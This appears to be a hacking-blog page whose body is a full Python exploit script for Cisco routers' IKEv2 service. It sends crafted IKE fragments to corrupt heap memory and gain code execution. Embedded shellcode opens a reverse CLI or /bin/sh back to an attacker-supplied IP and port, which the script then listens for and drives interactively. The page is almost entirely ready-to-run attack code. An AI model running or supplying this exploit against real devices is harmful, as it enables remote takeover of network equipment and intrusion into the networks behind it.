Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86387174

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/env python2.7

import socket
import sys
import struct
import string
import random
import time



# Spawns a reverse cisco CLI
cliShellcode = (
    "\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"
    "\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08"
    "\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1"
    "\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7"
    "\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8"
    "\x00\x00\x00\xef\xcd\x1c\xa1\x55\x31\xed\x31\xff\x4f\xbe\x22\x00"
    "\x00\x00\xba\x07\x00\x00\x00\xb9\x00\x10\x00\x00\x31\xdb\xb8\xc0"
    "\x00\x00\x00\xcd\x80\x5d\x89\xc7\xeb\x26\x5e\xb9\x00\x04\x00\x00"
    "\xf3\xa5\x31\xdb\x6a\x03\x68\x00\x20\x00\x00\x53\x50\x68\xfd\xa8"
    "\xff\x09\xb8\xf0\xb7\x06\x08\xff\xd0\x83\xc4\x14\x61\x31\xc0\xc3"
    "\xe8\xd5\xff\xff\xff\x55\x89\xe5\x81\xec\x10\x04\x00\x00\xe9\xb1"
    "\x00\x00\x00\x58\x89\x85\xfc\xfb\xff\xff\x50\xb8\xf0\x07\x07\x08"
    "\xff\xd0\x83\xc4\x04\x89\x85\xf8\xfb\xff\xff\x89\xc3\x8b\x43\x04"
    "\x68\x80\xee\x36\x00\x68\x1a\x90\x01\x00\x53\xff\x50\x70\xc7\x44"
    "\x24\x04\x20\x90\x01\x00\x8b\x43\x04\xff\x50\x70\xc7\x85\xf4\xfb"
    "\xff\xff\x00\x40\x00\x00\x8d\x8d\xf4\xfb\xff\xff\x89\x4c\x24\x08"
    "\xc7\x44\x24\x04\x21\x90\x01\x00\x89\x1c\x24\x8b\x43\x04\xff\x50"
    "\x70\xbe\xc8\xef\xff\xff\x65\x8b\x06\x89\x98\x98\x00\x00\x00\xeb"
    "\x3a\xb8\x80\x0a\x0f\x08\xff\xd0\x5b\xc7\x43\x0c\xff\xff\xff\x17"
    "\x83\xc3\x14\xc7\x03\x65\x6e\x61\x62\xc7\x43\x04\x6c\x65\x5f\x31"
    "\xc7\x43\x08\x35\x00\x00\x00\x6a\x04\x68\x60\xc1\x52\x0a\xb8\x20"
    "\x68\x0f\x08\xff\xd0\x89\xec\x5d\x31\xc0\xc3\xe8\xc1\xff\xff\xff"
    "\x60\xc1\x52\x0a\xe8\x4a\xff\xff\xfftcp/CONNECT/3/@IP@/@PORT@\x00"
    )

# Spawns a reverse "/bin/sh"
shShellcode = (
    "\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"
    "\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08"
    "\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1"
    "\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7"
    "\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8"
    "\x00\x00\x00\xef\xcd\x1c\xa1\xb8\x40\xbc\x2a\x09\xff\xd0\x61\xb8"
    "\x02\x00\x00\x00\xcd\x80\x85\xc0\x0f\x85\xa1\x01\x00\x00\xba\xed"
    "\x01\x00\x00\xb9\xc2\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x74"
    "\x6d\x70\x8d\x1c\x24\xb8\x05\x00\x00\x00\xcd\x80\x50\xeb\x31\x59"
    "\x8b\x11\x8d\x49\x04\x89\xc3\xb8\x04\x00\x00\x00\xcd\x80\x5b\xb8"
    "\x06\x00\x00\x00\xcd\x80\x8d\x1c\x24\x31\xd2\x52\x53\x8d\x0c\x24"
    "\xb8\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80"
    "\xe8\xca\xff\xff\xff\x46\x01\x00\x00\x7f\x45\x4c\x46\x01\x01\x01"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00"
    "\x00\x54\x80\x04\x08\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x34\x00\x20\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xf2\x00\x00"
    "\x00\xf2\x00\x00\x00\x07\x00\x00\x00\x00\x10\x00\x00\x55\x89\xe5"
    "\x83\xec\x10\x6a\x00\x6a\x01\x6a\x02\x8d\x0c\x24\xbb\x01\x00\x00"
    "\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4\x0c\x89\x45\xfc\x68\x7f"
    "\x00\x00\x01\x68\x02\x00\x04\x38\x8d\x14\x24\x6a\x10\x52\x50\x8d"
    "\x0c\x24\xbb\x03\x00\x00\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4"
    "\x14\x85\xc0\x7d\x18\x6a\x00\x6a\x01\x8d\x1c\x24\x31\xc9\xb8\xa2"
    "\x00\x00\x00\xcd\x80\x83\xc4\x08\xeb\xc4\x8b\x45\xfc\x83\xec\x20"
    "\x8d\x0c\x24\xba\x03\x00\x00\x00\x8b\x5d\xfc\xc7\x01\x05\x01\x00"
    "\x00\xb8\x04\x00\x00\x00\xcd\x80\xba\x04\x00\x00\x00\xb8\x03\x00"
    "\x00\x00\xcd\x80\xc7\x01\x05\x01\x00\x01\xc7\x41\x04\x0a\x64\x00"
    "\x01\x66\xc7\x41\x08\x11\x5c\xba\x0a\x00\x00\x00\xb8\x04\x00\x00"
    "\x00\xcd\x80\xba\x20\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\x83"
    "\xc4\x20\x8b\x5d\xfc\xb9\x02\x00\x00\x00\xb8\x3f\x00\x00\x00\xcd"
    "\x80\x49\x7d\xf6\x31\xd2\x68\x2d\x69\x00\x00\x89\xe7\x68\x2f\x73"
    "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x53\x8d\x0c\x24\xb8"
    "\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\x31"
    "\xc0\xc3"
        )


# SA Session
class Session(object):
    def __init__(self, host_port, id = None):
        if id == None:
            id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))

        self._host, self._port = host_port
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._id = id
        self._mid = 1

        
        # Init session
        print("[+] Using session ID: " + self._id)
        self.send(self.make_SA())

        # Check if we got something
        res = self.recv()
        cookie = res[8:16]
        print("[+] Cookie: " + cookie)

        self._cookie = cookie

        # Enforce value of 0x21
        if ord(res[16]) != 0x21:
            raise Exception("Invalid router response")

        print("[+] New SA successfuly created.")


    # UPD socket helpers
    def send(self, buf):
        self._sock.sendto(buf, (self._host, self._port))

    def recv(self, size = 4096):
        data, addr = self._sock.recvfrom(size)
        return data

    def make_SA(self):
        buf = ""
        buf += self._id                  # Initiator SPI 
        buf += "\x00"*8                  # Responder SPI
        buf += "\x21"                    # next payload (security association)
        buf += "\x20"                    # version
        buf += "\x22"                    # exchange type
        buf += "\x08"                    # flags
        buf += "\x00"*4                  # message ID
        buf += "$$$$"                    # length

        # stolen from pcap
        # THIS IS SECURITY ASSOCIATION
        buf += "\x22\x00\x00\x6c\x00\x00\x00\x68\x01\x01\x00\x0b\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x01\x00\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x00\x80\x03\x00\x00\x08\x01\x00\x00\x03\x03\x00\x00\x08\x01\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x01\x03\x00\x00\x08\x03\x00\x00\x02\x03\x00\x00\x08\x03\x00\x00\x01\x03\x00\x00\x08\x04\x00\x00\x02\x03\x00\x00\x08\x04\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x0e"

        # THIS IS KEY EXCHANGE
        # this is the type of the next payload...
        buf += "\x28" # 0x28 = Nonce, 0x2b = vendor ID
        # KEY EXCHANGE DATA
        buf += "\x00\x00\x88\x00\x02\x00\x00\x50\xea\xf4\x54\x1c\x61\x24\x1b\x59\x3f\x48\xcb\x12\x8c\xf1\x7f\x5f\xd4\xd8\xe9\xe2\xfd\x3c\x66\x70\xef\x08\xf6\x56\xcd\x83\x16\x65\xc1\xdf\x1c\x2b\xb1\xc4\x92\xca\xcb\xd2\x68\x83\x8e\x2f\x12\x94\x12\x48\xec\x78\x4b\x5d\xf3\x57\x87\x36\x1b\xba\x5b\x34\x6e\xec\x7e\x39\xc1\xc2\x2d\xf9\x77\xcc\x19\x39\x25\x64\xeb\xb7\x85\x5b\x16\xfc\x2c\x58\x56\x11\xfe\x49\x71\x32\xe9\xe8\x2d\x27\xbe\x78\x71\x97\x7a\x74\x42\x30\x56\x62\xa2\x99\x9c\x56\x0f\xfe\xd0\xa2\xe6\x8f\x72\x5f\xc3\x87\x4c\x7c\x9b\xa9\x80\xf1\x97\x57\x92"
            
        # this is the Nonce payload
        buf += "\x2b"
        buf += "\x00\x00\x18\x97\x40\x6a\x31\x04\x4d\x3f\x7d\xea\x84\x80\xe9\xc8\x41\x5f\x84\x49\xd3\x8c\xee"
        # lets try a vendor id or three
        buf += "\x2b" # next payload, more vendor ID
        buf += "\x00" # critical bit
        vid = "CISCO-DELETE-REASON"
        buf += struct.pack(">H", len(vid)+4)
        buf += vid

        # another vendor id
        buf += "\x2b"	# next payload, more vendor ID
        buf += "\x00"	# critical bit
        vid = "CISCO(COPYRIGHT)&Copyright (c) 2009 Cisco Systems, Inc."
        buf += struct.pack(">H", len(vid)+4)
        buf += vid

        # another vendor id
        buf += "\x2b"	# next payload, more vid
        buf += "\x00"	# crit
        vid = "CISCO-GRE-MODE"
        buf += struct.pack(">H", len(vid)+4)
        buf += vid

        # last vendor id
        buf += "\x00"	# next payload
        buf += "\x00"
        vid = "\x40\x48\xb7\xd5\x6e\xbc\xe8\x85\x25\xe7\xde\x7f\x00\xd6\xc2\xd3"
        buf += struct.pack(">H", len(vid)+4)
        buf += vid
            
        return buf.replace("$$$$", struct.pack(">L", len(buf)))

    def make_cisco_fragment(self, flength, seqno, fragid, lastfrag, sploit):
        buf = ''
        buf += self._id               # Initiator SPI (random)
        buf += self._cookie                # Responder SPI
        buf += "\x84"                   # next payload
        buf += "\x20"                   # version
        buf += "\x25"                   # exchange type (2=identify protection)
        buf += "\x08"                   # flags
        buf += "\x00\x00\x00\x01"       # message ID
        buf += "ABCD"                   # length

        # PAYLOAD
        payload = ""
        payload += "\x00"               # next payload (none)
        payload += "\x00"               # critical bit
        payload += struct.pack(">H", flength) 		#payload_len)  # length
        payload += struct.pack(">H", fragid)        # frag ID
        payload += struct.pack("B", seqno)         # frag sequence
        payload += struct.pack("B", lastfrag)
        payload += sploit

        buf += payload
        return buf.replace("ABCD", struct.pack(">L", len(buf)))


    def send_fragment(self, flength, seqno, fragid, lastfrag, sploit):
        buf = self.make_cisco_fragment(flength, seqno, fragid, lastfrag, sploit)
        self.send(buf)

        # We're not supposed to receive anything if everything went
        # according to plan

    def make_cisco_option_list(self, opt_lst):
        buf = ''
        buf += self._id               # Initiator SPI (random)
        buf += self._cookie                # Responder SPI
        buf += "\x2f"                   # next payload
        buf += "\x20"                   # version
        buf += "\x25"                   # exchange type (2=identify protection)
        buf += "\x08"                   # flags
        buf += struct.pack(">I", 1)       # message ID
        buf += "ABCD"                   # length

        # PAYLOAD
        payload = ""
        payload += "\x00"               # next payload (none)
        payload += "\x00"               # critical bit
        payload += "EF" 		#payload_len)  # length
        payload += "\x03"               # CFG_SET
        payload += "\x00\x00\x00"       # Reserved

        total = 0x8
        for size, n in opt_lst:
            option  = struct.pack(">H", 0x6000)  #id
            option += struct.pack(">H", size)    # data length
            option += "A" * (size)

            total += (size + 4) * n
            payload += option * n
        buf += payload


        packet = buf.replace("ABCD", struct.pack(">L", len(buf))).replace("EF", struct.pack(">H", total))

        return packet


class Exploit(object):
    def __init__(self, host, revHost, revPort = 4444):
        self._host = host
        self._port = 500
        self._revHost = revHost
        self._revPort = revPort
        self._sessions = []


    # Create a new SA session
    def create_SA(self, id = None):

        # Create a new socket for session
        sess = Session((self._host, self._port), id)

        # Append to session list
        self._sessions.append(sess)

        return sess


    # Interact with reverse shell
    def interact(self):
        from telnetlib import Telnet

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        s.bind((self._revHost, self._revPort))
        s.listen(5)
        cli = s.accept()[0]
        s.close()
        print("[+] Got connect-back")

        t = Telnet()
        t.sock = cli
        t.interact()

    def buildPayload(self, cli = False):
        if cli == False:
            buf = bytearray(shShellcode)
            # Adjust IP and port
            buf[0x1ad:0x1b1] = socket.inet_aton(self._revHost)
            buf[0x1b5:0x1b7] = struct.pack(">H", self._revPort)
            Shellcode = bytes(buf)
        else:
            Shellcode = cliShellcode.replace("@IP@", self._revHost).replace("@PORT@", str(self._revPort))

        return Shellcode


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("[+] Usage: {0:s} <cisco IP> <attacker IP>[:port]".format(sys.argv[0]))
        sys.exit(0)

    #TODO: Check host
    host = sys.argv[1]
    revHost = sys.argv[2]

    # Parse revHost
    port = 4444
    if revHost.rfind(":") != -1:
        revHost, port = revHost.split(":")
        port = int(port)

    exploit = Exploit(host, revHost, port)
    sess1 = exploit.create_SA()
    sess2 = exploit.create_SA()

    n = 0xd6
    sess2.send_fragment(0x8 + n + 3, 1, 5, 0, "A" * (n + 3))

    # Send packets which will trigger the vulnerability
    # Weird packet to get a size of 0x1
    sess2.send_fragment(8 + -7, 0, 6, 1, "A" * (256 - 7))

    # This fragment will be the one being copied
    # during the memory corruption
    buf = "A" * (n - 0xd + 0x3)
    buf += struct.pack("<I", 0xef000000)
    buf += struct.pack("<I", 0x00a11ccd) # chunk magics
    buf += struct.pack("<I", 0xe100d4d0)
    buf += struct.pack("B", 0x61)       # set size from 0x31 to 0x61 in order to encompass the
                                        # adjacent chunk on free
    sess2.send_fragment(8 + n + 3, 1, 6, 0, buf)


    sess1.send_fragment(0x8 + 0xf8, 1, 0xeb, 0, "A" * 0xf8)
    pkt = sess1.make_cisco_option_list((
        (0xd0, 0x30), 
        )
    )

    # Defragment heap
    sess1.send(pkt)
    sess1.send(pkt)
    sess1.send(pkt)

    # Prepare a fake chunk
    buf  = ""
    buf += struct.pack("<I", 0x60)
    buf += struct.pack("<I", 0x102)
    buf += struct.pack("<I", 0xa11c0123)
    buf += struct.pack("<I", 0xe0)
    buf += "A" * 0xe8

    # And allocate it right after a 0x100 bytes hole
    sess1.send_fragment(0x8 + 0xf8, 2, 0xeb, 0, buf)

    # Trigger the overflow
    sess2.send_fragment(8 + -7, 3, 6, 1, "A" * (256 - 7))

    # Retrieve of fake freed block
    #buf = "\xcc" * (0xd0 - len(buf))
    buf = "\x00" * 0xd0


    buf += struct.pack("<I", 0xe100d4d0)
    buf += struct.pack("<I", 0x31)

    # this is a special writable address in the process
    # it translate into the following executable code:
    # nop / jmp [ecx]
    # since ecx happens to hold a pointer to a controlled buffer
    # the execution flow will be redirected to attacker controlled data
    what = 0xc821ff90

    # Just some writable address in the process which doesn't seem to be used
    where = 0xc8002000 - 0x8

    buf += struct.pack("<I", what)
    buf += struct.pack("<I", where)
    buf += struct.pack("<I", 0xf3ee0123)
    buf += struct.pack("<I", 0x0) * 5
    buf += struct.pack("<I", 0x5ee33210)
    buf += struct.pack("<I", 0xf3eecdef)
    buf += struct.pack("<I", 0x30)
    buf += struct.pack("<I", 0x132)
    buf += struct.pack("<I", 0xa11c0123)
    buf += struct.pack("<I", 0x100)
    buf += struct.pack("<I", 0x0) * 2

    # Second write-4 pointers
    # This is the address of the pointer to the "list_add" function
    # which will give us control of execution flow
    where = 0x0A99B7A4 - 0x10

    # This is the address where the opcode sequence "nop / jmp [ecx]" is located
    what = 0xc8002000

    buf += struct.pack("<I", what)
    buf += struct.pack("<I", where)

    buf += "\x00" * (0x128 - len(buf))
    
    # Try to chain a config list and a fragment packet
    packet = bytearray()
    packet += sess1._id               # Initiator SPI (random)
    packet += sess1._cookie                # Responder SPI
    packet += "\x2f"                   # next payload option list
    packet += "\x20"                   # version
    packet += "\x25"                   # exchange type (2=identify protection)
    packet += "\x08"                   # flags
    packet += struct.pack(">I", 1)       # message ID
    packet += "XXXX"                   # total length including header

    payload = bytearray()
    payload += "\x00"               # next payload (frag)
    payload += "\x00"               # critical bit
    payload += "\x00\x00" 	    # payload length
    payload += "\x03"               # CFG_SET
    payload += "\x00\x00\x00"       # Reserved

    size = 0x130
    option  = struct.pack(">H", 0x8400)  #id
    option += struct.pack(">H", size)    # data length
    option += "\x90" * 0x8 + buf

    payload += option * 0x10


    # Update payload length
    payload[2:4] = struct.pack(">H", len(payload))

    packet += payload

    # Update payload length
    packet[0x18:0x1C] = struct.pack(">I", len(packet))


    packet = bytes(packet)

    # Reallocate the fake freed 0x130 bytes chunk with controlled data
    # this way we can perform a write-4 memory corruption when freeing 
    # the subsequent memory
    sess1.send(packet)

    time.sleep(0.2)
    #raw_input()
    packet = bytearray()
    packet += sess1._id               # Initiator SPI (random)
    packet += sess1._cookie                # Responder SPI
    packet += "\x84"                   # next payload option list
    packet += "\x20"                   # version
    packet += "\x25"                   # exchange type (2=identify protection)
    packet += "\x08"                   # flags
    packet += struct.pack(">I", 1)       # message ID
    packet += "XXXX"                   # total length including header

    buf = exploit.buildPayload(cli = True) 
   
    flength = len(buf) + 0x8
    fragid = 0xeb
    seqno = 0x5
    lastfrag = 0
    payload = bytearray() 
    # Jump over garbage directly into shellcode (interpreted as jmp +0x6)
    payload += "\xeb"               # next payload (none)
    payload += "\x06"               # critical bit
    payload += struct.pack(">H", flength) 		#payload_len)  # length
    payload += struct.pack(">H", fragid)        # frag ID
    payload += struct.pack("B", seqno)         # frag sequence
    payload += struct.pack("B", lastfrag)
    payload += buf

    packet += payload

    # Update payload length
    packet[0x18:0x1C] = struct.pack(">I", len(packet))


    packet = bytes(packet)

    # Trigger the 2 write-4 and get code execution
    sess1.send(packet)

    # Hopefully we'll get something interesting
    exploit.interact()